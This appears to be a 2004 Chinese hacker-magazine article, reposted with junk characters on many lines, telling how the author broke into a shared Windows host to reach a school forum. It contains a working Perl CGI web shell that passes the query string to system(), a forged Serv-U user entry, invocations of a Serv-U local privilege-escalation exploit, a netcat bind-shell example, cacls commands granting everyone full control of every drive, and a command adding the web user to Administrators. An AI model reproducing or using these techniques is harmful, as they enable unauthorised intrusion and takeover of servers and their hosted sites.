剑走偏锋——灵巧的旁注攻击
9 y/ Q, X2 Q" n" n本文作者:angel
# c' K' [, v0 X" q% Z文章性质:原创
" f1 I6 P5 w* }" ?9 L发布日期:2004-11-09 1 }* E8 H0 V, v, ?# Z8 d6 S
注意:9 p/ \5 v) \0 l% i4 C, {
本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。
$ F: P7 a1 e7 [: ^* {1 y8 H; T本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。6 g; c, |: J3 L9 v4 R( i4 z
8 ?6 b$ Q5 d, {# ~, p) n 终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。 # u* W6 G* {3 I: Q) J) {) N
" h5 ~/ j) x! ~# B% z, L7 k! ?9 ? 一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。 3 e8 }: V# p% w. m% U. s
' D" e! @8 `- y1 W: G3 n F7 s 不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。
& o& [1 q, E# c/ S$ a
# t8 U3 ?1 V9 m. \ 一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。
" v4 e/ L9 u* l3 f% U" a1 m9 O0 ~9 J" b4 O \+ J4 p. E: H
大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。
% y+ ^3 }% b; @8 I/ f* w5 [; V
& a' H/ }, ?! n0 J, Q( t, r( t2 j 没有目的的跳转目录着…… % b! I: P! |* L# ^+ K
! e0 o7 K" ], S+ L5 L) F
我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了……
4 p+ x* }+ r' u( C" h2 N" j4 N7 C4 d$ ^8 w
结束了吗?不,我试着 FTP 一下: $ k% T7 a7 k$ d5 A
0 @3 a4 _: R$ m% |; v0 |- b
Microsoft Windows 2000 [Version 5.00.2195] \! ~4 z( t6 f% ? W
(C) 版权所有 1985-2000 Microsoft Corp. - K I8 a: O& u& W$ _0 d' j
2 e& l1 J$ x9 H- H. t$ {2 Z8 e4 p
C:\Documents and Settings\Administrator>ftp www.school.com
o* K/ g& w: y9 ?* AConnected to www. school.com.
( T" b3 n' ?6 Z1 J8 t220 Welcome to FTP Server... ) K# O- V# u2 n% i! G* X
User (www.bjtrq.com:(none)):
X8 T! h( L5 f331 User name okay, need password. 4 _6 M, D5 J+ k. }
Password:
4 R+ _( R* B5 N4 L4 \ u530 Not logged in.
9 s" \( u" p1 G; cLogin failed.
& U7 L' t+ Y2 r* Q$ Bftp> bye / S+ {! i$ [( M9 ~
221 Goodbye!
) D2 {5 t- V- U$ Q7 Z' H # U0 X# l$ S& _) G7 }6 P
5 O3 B4 r# s1 |
从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的…… y5 ~; U% m2 j' B5 `
0 _' k- O: K- v1 s* d
原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。 $ o6 h4 h6 u1 C' V* m
+ @; e' I9 c$ L! ~9 I+ aApplication Data' U4 h2 e- X. P/ C& ~
Documents8 _/ `% [! u& g% E& K2 e7 J
DRM6 p% [8 a. T6 p4 S# H& f
Favorites, j- q2 n( X5 i. t$ k2 _$ {
Templates9 T0 [0 h2 t' I2 N6 l/ G4 K
「开始」菜单
% M2 @) ^9 i0 Q1 F J* ]' V% O V桌面8 Q9 K' U3 Z9 W4 a! m: Q
9 h1 P. r1 G# O
: j' t6 D f' L- ~9 _5 ~; t 马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息, ) U* ~0 o+ A; B7 z# K
! ~3 G# S' i" b2 G$ sActiveState ActivePerl 5.8# a' u, @; e/ n+ g6 j r
Administrative Tools0 p" M8 N3 N( v* G7 W, q% ~, L
Deerfield.com: z" B0 f8 L( u5 x3 {
DTemp
: O6 q* v E9 m2 v& SIPSentry
z9 p6 a; {8 K$ e2 c# Q# WMBM 5
8 ?: Z) { q9 TNetMeter
7 G! t: t% k* W3 ^1 ]& s6 t7 xNetwork ICE
, d; ]# z. R% n. cPersits Software AspEmail/ l e5 p9 d! h# Q* }+ O
Persits Software AspJpeg% G( ^) W9 f& |* T
Serv-U FTP Server
# R2 B) ]5 `7 m% `Symantec Client Security
2 h+ ^8 V2 O/ S5 \Windows 优化大师4 Q% z* C' _5 n# M) f1 m
WinRAR# Z# V" }0 w4 c# s) g4 F u0 `
启动
6 [' X- b7 H: o9 s6 ~$ Q4 }$ P5 S. `6 V管理工具
. s7 u, \" ?; l' G- k# O附件0 x% C/ @, T% U7 h$ S6 v* b9 m
9 [: m: Z2 p+ _+ } A. g5 ~& n( R
9 L& w9 F+ i# {, k. B
呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。
) d/ @; O$ _0 V$ Y" U6 m3 V: s
; s" |2 I) O2 m2 @# \5 I: Q1 y 先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行: % _0 } I8 S! g; ~0 n. K& r
9 G Q( R9 q# @' sUser281=angel|1|0 * C: g2 \! F& M
# I1 t5 J$ J: p @3 U+ B/ ?: ~1 [. l3 N* y' c' r) w
然后加上 . n; C! i1 z2 K; h
* e0 B: E6 V9 z+ x7 T7 f$ o! \
[USER=angel|1]1 T2 r! C8 ?/ w4 R0 N7 }$ B; f
Password=ng98F85379EA68DBF97BAADCA99B69B8053 p8 m4 ?% j& J G7 a& O5 q
HomeDir=D:\websites
7 k- V, c9 X! n# ?& o w) X2 uRelPaths=1
; m, q# d, W' @. ` ?TimeOut=600
$ _* r! n9 l" W5 e% a4 Z$ }7 hMaintenance=System
, I# n. T% G/ G- H T- F! AAccess1=D:\websites|RWAMELCDP3 _# I5 W9 P8 e" S
SKEYValues= U, a1 d% K" g
# q8 h, x$ T5 Q" l$ W! @
9 M; R/ S5 `+ o4 Z0 a* H 添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中…… % P( |9 l, }) c1 V: J2 V
: ?8 L$ o: Q7 x! D. N 不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。
& O) ^! t0 p2 U) s/ A0 e6 v. j6 Z
不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。 * |3 g/ I2 C4 @2 y& O% N$ v
' v: H/ R+ F" S* L0 ^2 I; x
还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下: , A5 i( X9 {0 D& U$ p$ g
( ~: y" R' ?) V#!/usr/bin/perl* \" Q2 X$ I9 [
binmode(STDOUT);
6 Q, m, B( \2 C6 L s4 Hsyswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);/ J9 l b4 S$ a5 C3 g( ?, p
$_ = $ENV{QUERY_STRING};
2 D! G. X* i4 \6 Q$ |s/%20/ /ig; G9 [! R% Z5 f( H3 b* z. \
s/%2f/\//ig;
* \) k* F7 W" _: M5 O& h! c$execthis = $_;2 E# d: U) l5 l7 ~6 N) X3 [
syswrite(STDOUT, "<HTML><PRE>\r\n", 13);
* y# H3 M! _" Q1 Y7 bopen(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
; T) n$ f" z+ |system($execthis);
$ D' s. N( P& [% msyswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);- N5 U) o1 p3 f8 z) _+ e) Z
close(STDERR);" a, e; T& u! _* R" |/ g
close(STDOUT);" M2 e, \! Z+ J+ p
exit;
( n! p5 U; l8 i/ ^; ]! M3 w$ L% V 9 {* d) m3 K a- n5 w
& g8 V4 \5 d/ z5 r4 m! ?/ s" @ 我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!! ' B; \4 J9 ^4 q8 L$ }
( y# r% G4 y/ }; n8 ` 显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交: W8 {$ G3 I- z/ ]9 r+ i
' b2 h6 V+ t% u' u7 R3 chttp://anyhost//cmd.pl?d:\user\bin\su.exe
* }4 {' p7 V0 \1 S$ k6 W+ d: b3 U " i! a8 w- I1 y1 \4 e
; h' b# ~/ a2 ?5 f
返回: 7 f# a# u* H" g
! ^0 r/ B7 K& d" h) j0 z
Serv-u >3.x Local Exploit by xiaolu
9 F4 Y5 ~* A3 G; }8 R
5 t4 o& R/ F' Y8 g* x* |USAGE: serv-u.exe "command" , x" P% J1 P7 ~, f |' o+ V
7 ], W( z% n* u- Z2 p9 t; vExample: serv-u.exe "nc.exe -l -p 99 -e cmd.exe" * z: e% p+ ?/ s
1 r; q4 K& \9 N { {* S6 }
$ k+ Y9 m' A, ?$ I! ?' Z 嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交: 3 X5 ?" B( i0 a/ u, |/ ^8 e
; N: d0 N9 h3 T3 z/ ~
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F" $ ]1 f; C$ F& {6 K; I" I7 e
$ H1 y% x# q' f0 r' Q+ U
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F"
6 v R' Z2 V/ K5 }# `
& \0 }' t n8 ?2 S+ {" n; nhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
( Z O. b2 q3 c2 H6 Z. \3 I1 N4 W" ]2 D$ Q& ~' v1 e! ]$ ]
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F"
+ W. m! w; M9 b' k! B1 c
. ]# s) `! _" e) l
& t( z/ r: i1 T 返回下面的信息,就表示成功了!!! : l: O4 Z Z3 _9 z! p, F5 E6 I
" w- p. {, g) |/ m; Q4 M
Serv-u >3.x Local Exploit by xiaolu ! u% o* L* U2 a9 A5 E! ~5 J
$ `2 p3 w4 U4 y4 S% y2 i9 \<220 Serv-U FTP Server v5.2 for WinSock ready...
1 M5 y% j& Q1 v4 k6 X: Q4 U
9 p8 h, o' a" V# T8 i' f. q, ^>USER LocalAdministrator
$ {) f) e: @# V4 W% |2 X3 J( o
+ t' Z6 g5 P# `2 m# y. y. g<331 User name okay, need password.
% B7 H( X0 v/ D" f4 ^6 D/ }9 ^9 k) }' a1 a, Y
****************************************************** ( z" m, n. E) ^% `; Q9 H- A
- V9 d- [$ `6 l
>PASS #l@$ak#.lk;0@P
% D- z7 f: ]! U/ S! \# e' x, G) g: S6 o: q0 w$ r
<230 User logged in, proceed.
& I9 C, q* M7 m# u5 }/ o, \$ C$ W# j8 z
******************************************************
. r. D6 c: \8 ~# H: p" ~, X
+ ^& r1 y9 N) }% \>SITE MAINTENANCE - E( ]! V7 ~. m' f# {1 \* q: v/ U0 e
$ w9 Z& r" h5 |
******************************************************
J6 r8 B! Q9 t# F. \9 J' { J: r$ @: P% t ]1 x
[+] Creating New Domain... 5 r8 I( P& `" [# ~/ K& G7 K
; @8 g8 u. Z/ j1 c6 q<200-DomainID=2
! r( S# z: ]* \* X* V
& `( t' V4 x3 L: Y8 ?+ J) F<220 Domain settings saved
5 C. p \2 j" R) x9 E; r# g2 j3 e! k* W
****************************************************** , n0 k- ~! ` m4 I
5 L! ^$ r3 n0 @! @
[+] Domain xl:2 Created : T( K, i: s( A' k+ X
) i( r: p0 C! M, N ?
[+] Creating Evil User
% h# @8 U5 O' g+ [. P
* p6 N H' @9 X8 Q% Y- e<200-User=xl 3 q" \5 X' t+ m) x0 l
3 L9 H9 u5 ?/ S/ F$ V+ i3 P
200 User settings saved - ?+ x" l9 {7 ^! w" K6 L5 {5 H
7 y* w" A% ]0 U
******************************************************
; u" ], l$ B' `. F& V4 M% M/ c% Y: [ Y
[+] Now Exploiting...
; q1 w3 F9 v; o) L+ }" L& c' e! q. H( j; J# E4 Y$ n9 m9 s' B! U
>USER xl
7 F w4 y- j8 k& b* ` t/ c0 c3 G5 X( J0 v) o
<331 User name okay, need password.
( ?3 t" @- U) H2 v& a9 y/ i* x0 B& E. V3 _- Z
******************************************************
( [, M/ P% Q) P% @: w
* m4 M8 g' M8 ]9 O/ E1 W4 a1 i>PASS 111111
" d6 J+ |& t$ I$ M
5 E% ~, U" r& t<230 User logged in, proceed.
& i9 s* Z3 W7 _' h
Y# u6 s, n* R+ D****************************************************** 6 `3 I5 \/ g# T* D/ o
6 ]' r& f e* U3 z/ w$ p
[+] Now Executing: cacls.exe c: /E /T /G everyone:F
: h- W' H( g) j2 S6 \0 J5 n
! I# J1 [ k( H<220 Domain deleted
( f3 B- ~; q5 Q" y
$ Z; P d$ x! Y2 N0 y; I0 B******************************************************
6 M k6 F4 A% W+ g
0 t1 a3 b, s6 b) i
8 Z8 J: m9 D# h 每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员:
% y2 v% i$ ^8 Z0 _: }. p" o! Z
6 c" m7 z+ Q( |3 {http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add" # v6 t- G3 K' F/ G. o" u S, I
) r3 H$ v7 a# P5 G- z5 a' ~; I6 E E
3 k! m: O/ G& _2 P' |! L 现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。 # R% g9 W3 V' }% J
' r- H ~+ r0 i/ a& b# T 说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。7 s" o# x( D+ W: l+ G
" g' U! s1 B' d
5 ]' I& y- L3 }6 t! k
|